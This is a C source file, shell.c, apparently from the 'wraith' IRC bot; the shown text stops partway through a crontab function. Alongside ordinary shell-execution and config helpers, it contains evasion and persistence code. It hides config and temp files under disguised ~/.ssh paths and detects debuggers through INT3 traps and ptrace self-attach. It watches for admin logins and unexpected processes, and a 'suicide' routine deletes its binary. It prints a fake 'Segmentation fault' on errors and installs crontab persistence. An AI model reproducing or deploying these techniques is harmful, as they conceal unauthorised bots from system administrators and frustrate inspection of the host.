shell.c 27 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011111211311411511611711811912012112212312412512612712812913013113213313413513613713813914014114214314414514614714814915015115215315415515615715815916016116216316416516616716816917017117217317417517617717817918018118218318418518618718818919019119219319419519619719819920020120220320420520620720820921021121221321421521621721821922022122222322422522622722822923023123223323423523623723823924024124224324424524624724824925025125225325425525625725825926026126226326426526626726826927027127227327427527627727827928028128228328428528628728828929029129229329429529629729829930030130230330430530630730830931031131231331431531631731831932032132232332432532632732832933033133233333433533633733833934034134234334434534634734834935035135235335435535635735835936036136236336436536636736836937037137237337437537637737837938038138238338438538638738838939039139239339439539639739839940040140240340440540640740840941041141241341441541641741841942042142242342442542642742842943043143243343443543643743843944044144244344444544644744844945045145245345445545645745845946046146246346446546646746846947047147247347447547647747847948048148248348448548648748848949049149249349449549649749849950050150250350450550650750850951051151251351451551651751851952052152252352452552652752852953053153253353453553653753853954054154254354454554654754854955055155255355455555655755855956056156256356456556656756856957057157257357457557657757857958058158258358458558658758858959059159259359459559659759859960060160260360460560660760860961061161261361461561661761861962062162262362462562662762862963063163263363463563663763863964064164264364464564664764864965065165265365465565665765865966066166266366466566666766866967067167267367467567667767867968068168268368468568668768868969069169269369469569669769869970070170270370470570670770870971071171271371471571671771871972072172272372472572672772872973073173273373473573673773873974074174274374474574674774874975075175275375475575675775875976076176276376476576676776876977077177277377477577677777877978078178278378478578678778878979079179279379479579679779879980080180280380480580680780880981081181281381481581681781881982082182282382482582682782882983083183283383483583683783883984084184284384484584684784884985085185285385485585685785885986086186286386486586686786886987087187287387487587687787887988088188288388488588688788888989089189289389489589689789889990090190290390490590690790890991091191291391491591691791891992092192292392492592692792892993093193293393493593693793893994094194294394494594694794894995095195295395495595695795895996096196296396496596696796896997097197297397497597697797897998098198298398498598698798898999099199299399499599699799899910001001100210031004100510061007100810091010101110121013101410151016101710181019102010211022102310241025102610271028102910301031103210331034103510361037103810391040104110421043104410451046104710481049105010511052105310541055105610571058105910601061106210631064106510661067106810691070107110721073107410751076107710781079108010811082108310841085108610871088108910901091109210931094
  1. /*
  2. * shell.c -- handles:
  3. *
  4. * All shell related functions
  5. * -shell_exec()
  6. * -botconfig parsing
  7. * -check_*()
  8. * -crontab functions
  9. *
  10. */
  11. #include "common.h"
  12. #include "shell.h"
  13. #include "cfg.h"
  14. #include "settings.h"
  15. #include "userrec.h"
  16. #include "flags.h"
  17. #include "tandem.h"
  18. #include "main.h"
  19. #include "dccutil.h"
  20. #include "misc.h"
  21. #include "misc_file.h"
  22. #include "bg.h"
  23. #include "stat.h"
  24. #include "users.h"
  25. #ifdef LEAF
  26. #include "src/mod/server.mod/server.h"
  27. #endif /* LEAF */
  28. #include <sys/types.h>
  29. #include <pwd.h>
  30. #include <signal.h>
  31. #ifdef S_ANTITRACE
  32. # ifndef CYGWIN_HACKS
  33. # include <sys/ptrace.h>
  34. # endif /* !CYGWIN_HACKS */
  35. #include <sys/wait.h>
  36. #endif /* S_ANTITRACE */
  37. #include <sys/utsname.h>
  38. #include <pwd.h>
  39. #include <errno.h>
  40. #include <net/if.h>
  41. #include <sys/ioctl.h>
  42. #include <sys/socket.h>
  43. #ifndef CYGWIN_HACKS
  44. # include <libgen.h>
  45. #endif /* !CYGWIN_HACKS */
  46. #include <ctype.h>
  47. #include <fcntl.h>
  48. #include <sys/stat.h>
  49. #include <unistd.h>
  50. #include <dirent.h>
  51. int clear_tmp()
  52. {
  53. DIR *tmp = NULL;
  54. struct dirent *dir_ent = NULL;
  55. if (!(tmp = opendir(tempdir))) return 1;
  56. while ((dir_ent = readdir(tmp))) {
  57. if (strncmp(dir_ent->d_name, ".pid.", 4) && strncmp(dir_ent->d_name, ".u", 2) && strcmp(dir_ent->d_name, ".bin.old")
  58. && strcmp(dir_ent->d_name, ".") && strcmp(dir_ent->d_name, ".un") && strcmp(dir_ent->d_name, "..")) {
  59. char *file = NULL;
  60. file = calloc(1, strlen(dir_ent->d_name) + strlen(tempdir) + 1);
  61. strcat(file, tempdir);
  62. strcat(file, dir_ent->d_name);
  63. file[strlen(file)] = 0;
  64. sdprintf("clear_tmp: %s", file);
  65. unlink(file);
  66. free(file);
  67. }
  68. }
  69. closedir(tmp);
  70. return 0;
  71. }
  72. #ifdef LEAF
  73. void check_mypid()
  74. {
  75. if (getpid() != checkpid(conf.bot->nick, NULL)) {
  76. fatal(STR("getpid() does not match pid in file. Possible cloned process, exiting.."), 1);
  77. nuke_server("Cloned Process...");
  78. botnet_send_bye();
  79. exit(1);
  80. }
  81. }
  82. #endif /* LEAF */
  83. #ifdef S_LASTCHECK
  84. char last_buf[128] = "";
  85. #endif /* S_LASTCHECK */
  86. void check_last() {
  87. #ifdef S_LASTCHECK
  88. if (!strcmp((char *) CFG_LOGIN.ldata ? CFG_LOGIN.ldata : CFG_LOGIN.gdata ? CFG_LOGIN.gdata : "ignore", "ignore"))
  89. return;
  90. if (conf.username) {
  91. char *out = NULL, buf[50] = "";
  92. sprintf(buf, STR("last %s"), conf.username);
  93. if (shell_exec(buf, NULL, &out, NULL)) {
  94. if (out) {
  95. char *p = NULL;
  96. p = strchr(out, '\n');
  97. if (p)
  98. *p = 0;
  99. if (strlen(out) > 10) {
  100. if (last_buf[0]) {
  101. if (strncmp(last_buf, out, sizeof(last_buf))) {
  102. char *work = NULL;
  103. work = malloc(strlen(out) + 7 + 2 + 1);
  104. sprintf(work, "Login: %s", out);
  105. detected(DETECT_LOGIN, work);
  106. free(work);
  107. }
  108. }
  109. strncpyz(last_buf, out, sizeof(last_buf));
  110. }
  111. free(out);
  112. }
  113. }
  114. }
  115. #endif /* S_LASTCHECK */
  116. }
  117. void check_processes()
  118. {
  119. #ifdef S_PROCESSCHECK
  120. char *proclist = NULL, *out = NULL, *p = NULL, *np = NULL, *curp = NULL, buf[1024] = "", bin[128] = "";
  121. if (!strcmp((char *) CFG_BADPROCESS.ldata ? CFG_BADPROCESS.ldata : CFG_BADPROCESS.gdata ? CFG_BADPROCESS.gdata : "ignore", "ignore"))
  122. return;
  123. proclist = (char *) (CFG_PROCESSLIST.ldata && ((char *) CFG_PROCESSLIST.ldata)[0] ?
  124. CFG_PROCESSLIST.ldata : CFG_PROCESSLIST.gdata && ((char *) CFG_PROCESSLIST.gdata)[0] ? CFG_PROCESSLIST.gdata : NULL);
  125. if (!proclist)
  126. return;
  127. if (!shell_exec(STR("ps x"), NULL, &out, NULL))
  128. return;
  129. /* Get this binary's filename */
  130. strncpyz(buf, binname, sizeof(buf));
  131. p = strrchr(buf, '/');
  132. if (p) {
  133. p++;
  134. strncpyz(bin, p, sizeof(bin));
  135. } else {
  136. bin[0] = 0;
  137. }
  138. /* Fix up the "permitted processes" list */
  139. p = calloc(1, strlen(proclist) + strlen(bin) + 6);
  140. strcpy(p, proclist);
  141. strcat(p, " ");
  142. strcat(p, bin);
  143. strcat(p, " ");
  144. proclist = p;
  145. curp = out;
  146. while (curp) {
  147. np = strchr(curp, '\n');
  148. if (np)
  149. *np++ = 0;
  150. if (atoi(curp) > 0) {
  151. char *pid = NULL, *tty = NULL, *stat = NULL, *time = NULL, cmd[512] = "", line[2048] = "";
  152. strncpyz(line, curp, sizeof(line));
  153. /* it's a process line */
  154. /* Assuming format: pid tty stat time cmd */
  155. pid = newsplit(&curp);
  156. tty = newsplit(&curp);
  157. stat = newsplit(&curp);
  158. time = newsplit(&curp);
  159. strncpyz(cmd, curp, sizeof(cmd));
  160. /* skip any <defunct> procs "/bin/sh -c" crontab stuff and binname crontab stuff */
  161. if (!strstr(cmd, "<defunct>") && !strncmp(cmd, "/bin/sh -c", 10) && !strncmp(cmd, binname, strlen(binname))) {
  162. /* get rid of any args */
  163. if ((p = strchr(cmd, ' ')))
  164. *p = 0;
  165. /* remove [] or () */
  166. if (strlen(cmd)) {
  167. p = cmd + strlen(cmd) - 1;
  168. if (((cmd[0] == '(') && (*p == ')')) || ((cmd[0] == '[') && (*p == ']'))) {
  169. *p = 0;
  170. strcpy(buf, cmd + 1);
  171. strcpy(cmd, buf);
  172. }
  173. }
  174. /* remove path */
  175. if ((p = strrchr(cmd, '/'))) {
  176. p++;
  177. strcpy(buf, p);
  178. strcpy(cmd, buf);
  179. }
  180. /* skip "ps" */
  181. if (strcmp(cmd, "ps")) {
  182. /* see if proc's in permitted list */
  183. strcat(cmd, " ");
  184. if ((p = strstr(proclist, cmd))) {
  185. /* Remove from permitted list */
  186. while (*p != ' ')
  187. *p++ = 1;
  188. } else {
  189. char wrk[16384] = "";
  190. egg_snprintf(wrk, sizeof wrk, STR("Unexpected process: %s"), line);
  191. detected(DETECT_PROCESS, wrk);
  192. }
  193. }
  194. }
  195. }
  196. curp = np;
  197. }
  198. free(proclist);
  199. if (out)
  200. free(out);
  201. #endif /* S_PROCESSCHECK */
  202. }
  203. void check_promisc()
  204. {
  205. #ifdef S_PROMISC
  206. #ifdef SIOCGIFCONF
  207. struct ifreq ifreq, *ifr = NULL;
  208. struct ifconf ifcnf;
  209. char *cp = NULL, *cplim = NULL, buf[8192] = "";
  210. int sock;
  211. if (!strcmp((char *) CFG_PROMISC.ldata ? CFG_PROMISC.ldata : CFG_PROMISC.gdata ? CFG_PROMISC.gdata : "ignore", "ignore"))
  212. return;
  213. sock = socket(AF_INET, SOCK_STREAM, 0);
  214. ifcnf.ifc_len = 8191;
  215. ifcnf.ifc_buf = buf;
  216. if (ioctl(sock, SIOCGIFCONF, (char *) &ifcnf) < 0) {
  217. close(sock);
  218. return;
  219. }
  220. ifr = ifcnf.ifc_req;
  221. cplim = buf + ifcnf.ifc_len;
  222. for (cp = buf; cp < cplim; cp += sizeof(ifr->ifr_name) + sizeof(ifr->ifr_addr)) {
  223. ifr = (struct ifreq *) cp;
  224. ifreq = *ifr;
  225. if (!ioctl(sock, SIOCGIFFLAGS, (char *) &ifreq)) {
  226. if (ifreq.ifr_flags & IFF_PROMISC) {
  227. close(sock);
  228. detected(DETECT_PROMISC, STR("Detected promiscuous mode"));
  229. return;
  230. }
  231. }
  232. }
  233. close(sock);
  234. #endif /* SIOCGIFCONF */
  235. #endif /* S_PROMISC */
  236. }
  237. #ifdef S_ANTITRACE
  238. int traced = 0;
  239. static void got_trace(int z)
  240. {
  241. traced = 0;
  242. }
  243. #endif /* S_ANTITRACE */
  244. void check_trace()
  245. {
  246. #ifdef S_ANTITRACE
  247. int x, parent, i;
  248. struct sigaction sv, *oldsv = NULL;
  249. if (!strcmp((char *) CFG_TRACE.ldata ? CFG_TRACE.ldata : CFG_TRACE.gdata ? CFG_TRACE.gdata : "ignore", "ignore"))
  250. return;
  251. parent = getpid();
  252. #ifdef __linux__
  253. egg_bzero(&sv, sizeof(sv));
  254. sv.sa_handler = got_trace;
  255. sigemptyset(&sv.sa_mask);
  256. oldsv = NULL;
  257. sigaction(SIGTRAP, &sv, oldsv);
  258. traced = 1;
  259. asm("INT3");
  260. sigaction(SIGTRAP, oldsv, NULL);
  261. if (traced)
  262. detected(DETECT_TRACE, STR("I'm being traced!"));
  263. else {
  264. x = fork();
  265. if (x == -1)
  266. return;
  267. else if (x == 0) {
  268. i = ptrace(PTRACE_ATTACH, parent, 0, 0);
  269. if (i == (-1) && errno == EPERM)
  270. detected(DETECT_TRACE, STR("I'm being traced!"));
  271. else {
  272. waitpid(parent, &i, 0);
  273. kill(parent, SIGCHLD);
  274. ptrace(PTRACE_DETACH, parent, 0, 0);
  275. kill(parent, SIGCHLD);
  276. }
  277. exit(0);
  278. } else
  279. wait(&i);
  280. }
  281. #endif /* __linux__ */
  282. #ifdef __FreeBSD__
  283. x = fork();
  284. if (x == -1)
  285. return;
  286. else if (x == 0) {
  287. i = ptrace(PT_ATTACH, parent, 0, 0);
  288. if (i == (-1) && errno == EBUSY)
  289. detected(DETECT_TRACE, STR("I'm being traced"));
  290. else {
  291. wait(&i);
  292. i = ptrace(PT_CONTINUE, parent, (caddr_t) 1, 0);
  293. kill(parent, SIGCHLD);
  294. wait(&i);
  295. i = ptrace(PT_DETACH, parent, (caddr_t) 1, 0);
  296. wait(&i);
  297. }
  298. exit(0);
  299. } else
  300. waitpid(x, NULL, 0);
  301. #endif /* __FreeBSD__ */
  302. #ifdef __OpenBSD__
  303. x = fork();
  304. if (x == -1)
  305. return;
  306. else if (x == 0) {
  307. i = ptrace(PT_ATTACH, parent, 0, 0);
  308. if (i == (-1) && errno == EBUSY)
  309. detected(DETECT_TRACE, STR("I'm being traced"));
  310. else {
  311. wait(&i);
  312. i = ptrace(PT_CONTINUE, parent, (caddr_t) 1, 0);
  313. kill(parent, SIGCHLD);
  314. wait(&i);
  315. i = ptrace(PT_DETACH, parent, (caddr_t) 1, 0);
  316. wait(&i);
  317. }
  318. exit(0);
  319. } else
  320. waitpid(x, NULL, 0);
  321. #endif /* __OpenBSD__ */
  322. #endif /* S_ANTITRACE */
  323. }
  324. int shell_exec(char *cmdline, char *input, char **output, char **erroutput)
  325. {
  326. FILE *inpFile = NULL, *outFile = NULL, *errFile = NULL;
  327. char tmpfile[161] = "";
  328. int x, fd;
  329. int parent = getpid();
  330. if (!cmdline)
  331. return 0;
  332. /* Set up temp files */
  333. /* always use mkstemp() when handling temp filess! -dizz */
  334. sprintf(tmpfile, STR("%s.in-XXXXXX"), tempdir);
  335. if ((fd = mkstemp(tmpfile)) == -1 || (inpFile = fdopen(fd, "w+")) == NULL) {
  336. if (fd != -1) {
  337. unlink(tmpfile);
  338. close(fd);
  339. }
  340. putlog(LOG_ERRORS, "*" , STR("exec: Couldn't open '%s': %s"), tmpfile, strerror(errno));
  341. return 0;
  342. }
  343. unlink(tmpfile);
  344. if (input) {
  345. if (fwrite(input, 1, strlen(input), inpFile) != strlen(input)) {
  346. fclose(inpFile);
  347. putlog(LOG_ERRORS, "*", STR("exec: Couldn't write to '%s': %s"), tmpfile, strerror(errno));
  348. return 0;
  349. }
  350. fseek(inpFile, 0, SEEK_SET);
  351. }
  352. unlink(tmpfile);
  353. sprintf(tmpfile, STR("%s.err-XXXXXX"), tempdir);
  354. if ((fd = mkstemp(tmpfile)) == -1 || (errFile = fdopen(fd, "w+")) == NULL) {
  355. if (fd != -1) {
  356. unlink(tmpfile);
  357. close(fd);
  358. }
  359. putlog(LOG_ERRORS, "*", STR("exec: Couldn't open '%s': %s"), tmpfile, strerror(errno));
  360. return 0;
  361. }
  362. unlink(tmpfile);
  363. sprintf(tmpfile, STR("%s.out-XXXXXX"), tempdir);
  364. if ((fd = mkstemp(tmpfile)) == -1 || (outFile = fdopen(fd, "w+")) == NULL) {
  365. if (fd != -1) {
  366. unlink(tmpfile);
  367. close(fd);
  368. }
  369. putlog(LOG_ERRORS, "*", STR("exec: Couldn't open '%s': %s"), tmpfile, strerror(errno));
  370. return 0;
  371. }
  372. unlink(tmpfile);
  373. x = fork();
  374. if (x == -1) {
  375. putlog(LOG_ERRORS, "*", STR("exec: fork() failed: %s"), strerror(errno));
  376. fclose(inpFile);
  377. fclose(errFile);
  378. fclose(outFile);
  379. return 0;
  380. }
  381. if (x) {
  382. /* Parent: wait for the child to complete */
  383. int st = 0;
  384. waitpid(x, &st, 0);
  385. /* Now read the files into the buffers */
  386. fclose(inpFile);
  387. fflush(outFile);
  388. fflush(errFile);
  389. if (erroutput) {
  390. char *buf = NULL;
  391. int fs;
  392. fseek(errFile, 0, SEEK_END);
  393. fs = ftell(errFile);
  394. if (fs == 0) {
  395. (*erroutput) = NULL;
  396. } else {
  397. buf = calloc(1, fs + 1);
  398. fseek(errFile, 0, SEEK_SET);
  399. fread(buf, 1, fs, errFile);
  400. buf[fs] = 0;
  401. (*erroutput) = buf;
  402. }
  403. }
  404. fclose(errFile);
  405. if (output) {
  406. char *buf;
  407. int fs;
  408. fseek(outFile, 0, SEEK_END);
  409. fs = ftell(outFile);
  410. if (fs == 0) {
  411. (*output) = NULL;
  412. } else {
  413. buf = calloc(1, fs + 1);
  414. fseek(outFile, 0, SEEK_SET);
  415. fread(buf, 1, fs, outFile);
  416. buf[fs] = 0;
  417. (*output) = buf;
  418. }
  419. }
  420. fclose(outFile);
  421. return 1;
  422. } else {
  423. /* Child: make fd's and set them up as std* */
  424. int ind, outd, errd;
  425. char *argv[4] = { NULL, NULL, NULL, NULL };
  426. ind = fileno(inpFile);
  427. outd = fileno(outFile);
  428. errd = fileno(errFile);
  429. if (dup2(ind, STDIN_FILENO) == (-1)) {
  430. kill(parent, SIGCHLD);
  431. exit(1);
  432. }
  433. if (dup2(outd, STDOUT_FILENO) == (-1)) {
  434. kill(parent, SIGCHLD);
  435. exit(1);
  436. }
  437. if (dup2(errd, STDERR_FILENO) == (-1)) {
  438. kill(parent, SIGCHLD);
  439. exit(1);
  440. }
  441. argv[0] = "sh";
  442. argv[1] = "-c";
  443. argv[2] = cmdline;
  444. argv[3] = NULL;
  445. execvp(argv[0], &argv[0]);
  446. kill(parent, SIGCHLD);
  447. exit(1);
  448. }
  449. }
  450. void detected(int code, char *msg)
  451. {
  452. char *p = NULL, tmp[512] = "";
  453. struct userrec *u = NULL;
  454. struct flag_record fr = { FR_GLOBAL, 0, 0, 0, 0};
  455. int act;
  456. u = get_user_by_handle(userlist, conf.bot->nick);
  457. #ifdef S_LASTCHECK
  458. if (code == DETECT_LOGIN)
  459. p = (char *) (CFG_LOGIN.ldata ? CFG_LOGIN.ldata : (CFG_LOGIN.gdata ? CFG_LOGIN.gdata : NULL));
  460. #endif /* S_LASTCHECK */
  461. #ifdef S_ANTITRACE
  462. if (code == DETECT_TRACE)
  463. p = (char *) (CFG_TRACE.ldata ? CFG_TRACE.ldata : (CFG_TRACE.gdata ? CFG_TRACE.gdata : NULL));
  464. #endif /* S_ANTITRACE */
  465. #ifdef S_PROMISC
  466. if (code == DETECT_PROMISC)
  467. p = (char *) (CFG_PROMISC.ldata ? CFG_PROMISC.ldata : (CFG_PROMISC.gdata ? CFG_PROMISC.gdata : NULL));
  468. #endif /* S_PROMISC */
  469. #ifdef S_PROCESSCHECK
  470. if (code == DETECT_PROCESS)
  471. p = (char *) (CFG_BADPROCESS.ldata ? CFG_BADPROCESS.ldata : (CFG_BADPROCESS.gdata ? CFG_BADPROCESS.gdata : NULL));
  472. #endif /* S_PROMISC */
  473. #ifdef S_HIJACKCHECK
  474. if (code == DETECT_SIGCONT)
  475. p = (char *) (CFG_HIJACK.ldata ? CFG_HIJACK.ldata : (CFG_HIJACK.gdata ? CFG_HIJACK.gdata : NULL));
  476. #endif /* S_PROMISC */
  477. if (!p)
  478. act = DET_WARN;
  479. else if (!strcmp(p, STR("die")))
  480. act = DET_DIE;
  481. else if (!strcmp(p, STR("reject")))
  482. act = DET_REJECT;
  483. else if (!strcmp(p, STR("suicide")))
  484. act = DET_SUICIDE;
  485. else if (!strcmp(p, STR("ignore")))
  486. act = DET_IGNORE;
  487. else
  488. act = DET_WARN;
  489. switch (act) {
  490. case DET_IGNORE:
  491. break;
  492. case DET_WARN:
  493. putlog(LOG_WARN, "*", msg);
  494. break;
  495. case DET_REJECT:
  496. do_fork();
  497. putlog(LOG_WARN, "*", STR("Setting myself +d: %s"), msg);
  498. sprintf(tmp, STR("+d: %s"), msg);
  499. set_user(&USERENTRY_COMMENT, u, tmp);
  500. get_user_flagrec(u, &fr, 0);
  501. fr.global = USER_DEOP | USER_BOT;
  502. set_user_flagrec(u, &fr, 0);
  503. sleep(1);
  504. break;
  505. case DET_DIE:
  506. putlog(LOG_WARN, "*", STR("Dying: %s"), msg);
  507. sprintf(tmp, STR("Dying: %s"), msg);
  508. set_user(&USERENTRY_COMMENT, u, tmp);
  509. #ifdef LEAF
  510. nuke_server("BBL");
  511. #endif /* LEAF */
  512. sleep(1);
  513. fatal(msg, 0);
  514. break;
  515. case DET_SUICIDE:
  516. putlog(LOG_WARN, "*", STR("Comitting suicide: %s"), msg);
  517. sprintf(tmp, STR("Suicide: %s"), msg);
  518. set_user(&USERENTRY_COMMENT, u, tmp);
  519. #ifdef LEAF
  520. nuke_server("HARAKIRI!!");
  521. #endif /* LEAF */
  522. sleep(1);
  523. unlink(binname);
  524. #ifdef HUB
  525. unlink(userfile);
  526. sprintf(tmp, STR("%s~"), userfile);
  527. unlink(tmp);
  528. #endif /* HUB */
  529. fatal(msg, 0);
  530. break;
  531. }
  532. }
  533. char *werr_tostr(int errnum)
  534. {
  535. switch (errnum) {
  536. case ERR_BINSTAT:
  537. return STR("Cannot access binary");
  538. case ERR_BADPASS:
  539. return STR("Incorrect password");
  540. case ERR_BINMOD:
  541. return STR("Cannot chmod() binary");
  542. case ERR_PASSWD:
  543. return STR("Cannot access the global passwd file");
  544. case ERR_WRONGBINDIR:
  545. return STR("Wrong directory/binary name");
  546. case ERR_CONFSTAT:
  547. #ifdef LEAF
  548. return STR("Cannot access config directory (~/.ssh/)");
  549. #else
  550. return STR("Cannot access config directory (./)");
  551. #endif /* LEAF */
  552. case ERR_TMPSTAT:
  553. #ifdef LEAF
  554. return STR("Cannot access tmp directory (~/.ssh/.../)");
  555. #else
  556. return STR("Cannot access config directory (./tmp/)");
  557. #endif /* LEAF */
  558. case ERR_CONFDIRMOD:
  559. #ifdef LEAF
  560. return STR("Cannot chmod() config directory (~/.ssh/)");
  561. #else
  562. return STR("Cannot chmod() config directory (./)");
  563. #endif /* LEAF */
  564. case ERR_CONFMOD:
  565. #ifdef LEAF
  566. return STR("Cannot chmod() config (~/.ssh/.known_hosts/)");
  567. #else
  568. return STR("Cannot chmod() config (./conf)");
  569. #endif /* LEAF */
  570. case ERR_TMPMOD:
  571. #ifdef LEAF
  572. return STR("Cannot chmod() tmp directory (~/.ssh/.../)");
  573. #else
  574. return STR("Cannot chmod() tmp directory (./tmp)");
  575. #endif /* LEAF */
  576. case ERR_NOCONF:
  577. #ifdef LEAF
  578. return STR("The local config is missing (~/.ssh/.known_hosts)");
  579. #else
  580. return STR("The local config is missing (./conf)");
  581. #endif /* LEAF */
  582. case ERR_CONFBADENC:
  583. return STR("Encryption in config is wrong/corrupt");
  584. case ERR_WRONGUID:
  585. return STR("UID in conf does not match geteuid()");
  586. case ERR_WRONGUNAME:
  587. return STR("Uname in conf does not match uname()");
  588. case ERR_BADCONF:
  589. return STR("Config file is incomplete");
  590. case ERR_BADBOT:
  591. return STR("No such botnick");
  592. case ERR_BOTDISABLED:
  593. return STR("Bot is disabled, remove '/' in config");
  594. case ERR_NOBOTS:
  595. return STR("There are no bots in the config! Please use ./binary -C to edit");
  596. default:
  597. return STR("Unforseen error");
  598. }
  599. }
  600. void werr(int errnum)
  601. {
  602. /* [1]+ Done ls --color=auto -A -CF
  603. [1]+ Killed bash
  604. */
  605. /*
  606. int x = 0;
  607. unsigned long job = randint(2) + 1; */
  608. /* printf("[%lu] %lu%lu%lu%lu%lu\n", job, randint(2) + 1, randint(8) + 1, randint(8) + 1, errnum); */
  609. /* printf("\n[%lu]+ Killed rm -rf /\r\n", job); */
  610. /*
  611. if (checkedpass) {
  612. printf("[%lu] %d\n", job, getpid());
  613. }
  614. */
  615. /* printf("\n[%lu]+ Stopped %s\r\n", job, basename(binname)); */
  616. sdprintf(STR("Error %d: %s"), errnum, werr_tostr(errnum));
  617. printf(STR("*** Error code %d\n\n"), errnum);
  618. printf(STR("Segmentation fault\n"));
  619. fatal("", 0);
  620. }
  621. int email(char *subject, char *msg, int who)
  622. {
  623. struct utsname un;
  624. char open[2048] = "", addrs[1024] = "";
  625. int mail = 0, sendmail = 0;
  626. FILE *f = NULL;
  627. uname(&un);
  628. if (is_file("/usr/sbin/sendmail"))
  629. sendmail++;
  630. else if (is_file("/usr/bin/mail"))
  631. mail++;
  632. else {
  633. putlog(LOG_WARN, "*", "I Have no usable mail client.");
  634. return 1;
  635. }
  636. if (who & EMAIL_OWNERS) {
  637. sprintf(addrs, "%s", replace(owneremail, ",", " "));
  638. }
  639. if (who & EMAIL_TEAM) {
  640. if (addrs[0])
  641. sprintf(addrs, "%s wraith@shatow.net", addrs);
  642. else
  643. sprintf(addrs, "wraith@shatow.net");
  644. }
  645. if (sendmail)
  646. sprintf(open, "/usr/sbin/sendmail -t");
  647. else if (mail)
  648. sprintf(open, "/usr/bin/mail %s -a \"From: %s@%s\" -s \"%s\" -a \"Content-Type: text/plain\"", addrs, conf.bot->nick ? conf.bot->nick : "none", un.nodename, subject);
  649. if ((f = popen(open, "w"))) {
  650. if (sendmail) {
  651. fprintf(f, "To: %s\n", addrs);
  652. fprintf(f, "From: %s@%s\n",
  653. conffile.bots ?
  654. (conffile.bots->nick ? conffile.bots->nick :
  655. (conffile.username ? conffile.username : "WRAITH"))
  656. : "WRAITH", un.nodename);
  657. fprintf(f, "Subject: %s\n", subject);
  658. fprintf(f, "Content-Type: text/plain\n");
  659. }
  660. fprintf(f, "%s\n", msg);
  661. if (fflush(f))
  662. return 1;
  663. if (pclose(f))
  664. return 1;
  665. } else
  666. return 1;
  667. return 0;
  668. }
  669. void baduname(char *confhas, char *my_uname) {
  670. char *tmpfile = NULL;
  671. int send = 0, make = 0;
  672. tmpfile = malloc(strlen(tempdir) + 3 + 1);
  673. sprintf(tmpfile, "%s.un", tempdir);
  674. sdprintf("CHECKING %s", tmpfile);
  675. if (is_file(tmpfile)) {
  676. struct stat ss;
  677. time_t diff;
  678. stat(tmpfile, &ss);
  679. diff = now - ss.st_mtime;
  680. if (diff >= 86400) {
  681. send++; /* only send once a day */
  682. unlink(tmpfile); /* remove file */
  683. make++; /* make a new one at thie time. */
  684. }
  685. } else {
  686. make++;
  687. }
  688. if (make) {
  689. FILE *fp = NULL;
  690. if ((fp = fopen(tmpfile, "w"))) {
  691. fprintf(fp, "\n");
  692. fflush(fp);
  693. fclose(fp);
  694. send++; /* only send if we could write the file. */
  695. }
  696. }
  697. if (send) {
  698. struct utsname un;
  699. char msg[501] = "", subject[31] = "";
  700. uname(&un);
  701. egg_snprintf(subject, sizeof subject, "CONF/UNAME() mismatch notice");
  702. egg_snprintf(msg, sizeof msg, STR("This is an auto email from a wraith bot which has you in it's OWNER_EMAIL list..\n \nThe uname() output on this box has changed, probably due to a kernel upgrade...\nMy login is: %s\nConf : %s\nUname(): %s\n \nThis email will only be sent once a day while this error is present.\nYou need to login to my shell (%s) and fix my local config.\n"), conf.username, confhas, my_uname, un.nodename);
  703. email(subject, msg, EMAIL_OWNERS);
  704. }
  705. free(tmpfile);
  706. }
  707. char *homedir()
  708. {
  709. static char homedir[DIRMAX] = "";
  710. if (!homedir || (homedir && !homedir[0])) {
  711. char tmp[DIRMAX] = "";
  712. if (conf.homedir)
  713. egg_snprintf(tmp, sizeof tmp, "%s", conf.homedir);
  714. else {
  715. struct passwd *pw = NULL;
  716. ContextNote("getpwuid()");
  717. pw = getpwuid(myuid);
  718. egg_snprintf(tmp, sizeof tmp, "%s", pw->pw_dir);
  719. ContextNote("getpwuid(): Success");
  720. }
  721. ContextNote("realpath()");
  722. realpath(tmp, homedir); /* this will convert lame home dirs of /home/blah->/usr/home/blah */
  723. ContextNote("realpath(): Success");
  724. }
  725. return homedir;
  726. }
  727. char *my_username()
  728. {
  729. static char username[DIRMAX] = "";
  730. if (!username || (username && !username[0])) {
  731. if (conf.username)
  732. egg_snprintf(username, sizeof username, "%s", conf.username);
  733. else {
  734. struct passwd *pw = NULL;
  735. ContextNote("getpwuid()");
  736. pw = getpwuid(myuid);
  737. ContextNote("getpwuid(): Success");
  738. egg_snprintf(username, sizeof username, "%s", pw->pw_name);
  739. }
  740. }
  741. return username;
  742. }
  743. char *confdir()
  744. {
  745. static char confdir[DIRMAX] = "";
  746. if (!confdir || (confdir && !confdir[0])) {
  747. #ifdef LEAF
  748. {
  749. egg_snprintf(confdir, sizeof confdir, "%s/.ssh", homedir());
  750. }
  751. #endif /* LEAF */
  752. #ifdef HUB
  753. {
  754. char *buf = NULL;
  755. buf = strdup(binname);
  756. egg_snprintf(confdir, sizeof confdir, "%s", dirname(buf));
  757. free(buf);
  758. }
  759. #endif /* HUB */
  760. }
  761. return confdir;
  762. }
  763. char *my_uname()
  764. {
  765. static char os_uname[250] = "";
  766. if (!os_uname || (os_uname && !os_uname[0])) {
  767. char *unix_n = NULL, *vers_n = NULL;
  768. struct utsname un;
  769. if (uname(&un) < 0) {
  770. unix_n = "*unkown*";
  771. vers_n = "";
  772. } else {
  773. unix_n = un.nodename;
  774. #ifdef __FreeBSD__
  775. vers_n = un.release;
  776. #else /* __linux__ */
  777. vers_n = un.version;
  778. #endif /* __FreeBSD__ */
  779. }
  780. egg_snprintf(os_uname, sizeof os_uname, "%s %s", unix_n, vers_n);
  781. }
  782. return os_uname;
  783. }
  784. void check_crontab()
  785. {
  786. int i = 0;
  787. #ifdef LEAF
  788. if (!conf.bot->localhub)
  789. fatal(STR("something is wrong."), 0);
  790. #endif /* LEAF */
  791. if (!(i = crontab_exists())) {
  792. crontab_create(5);
  793. if (!(i = crontab_exists()))
  794. printf(STR("* Error writing crontab entry.\n"));
  795. }
  796. }
  797. void crontab_del() {
  798. char *tmpfile = NULL, *p = NULL, buf[2048] = "";
  799. tmpfile = malloc(strlen(binname) + 100);
  800. strcpy(tmpfile, binname);
  801. if (!(p = strrchr(tmpfile, '/')))
  802. return;
  803. p++;
  804. strcpy(p, ".ctb");
  805. sprintf(buf, STR("crontab -l | grep -v \"%s\" | grep -v \"^#\" | grep -v \"^\\$\" > %s"), binname, tmpfile);
  806. if (shell_exec(buf, NULL, NULL, NULL)) {
  807. sprintf(buf, STR("crontab %s"), tmpfile);
  808. shell_exec(buf, NULL, NULL, NULL);
  809. }
  810. unlink(tmpfile);
  811. }
  812. int crontab_exists() {
  813. char buf[2048] = "", *out = NULL;
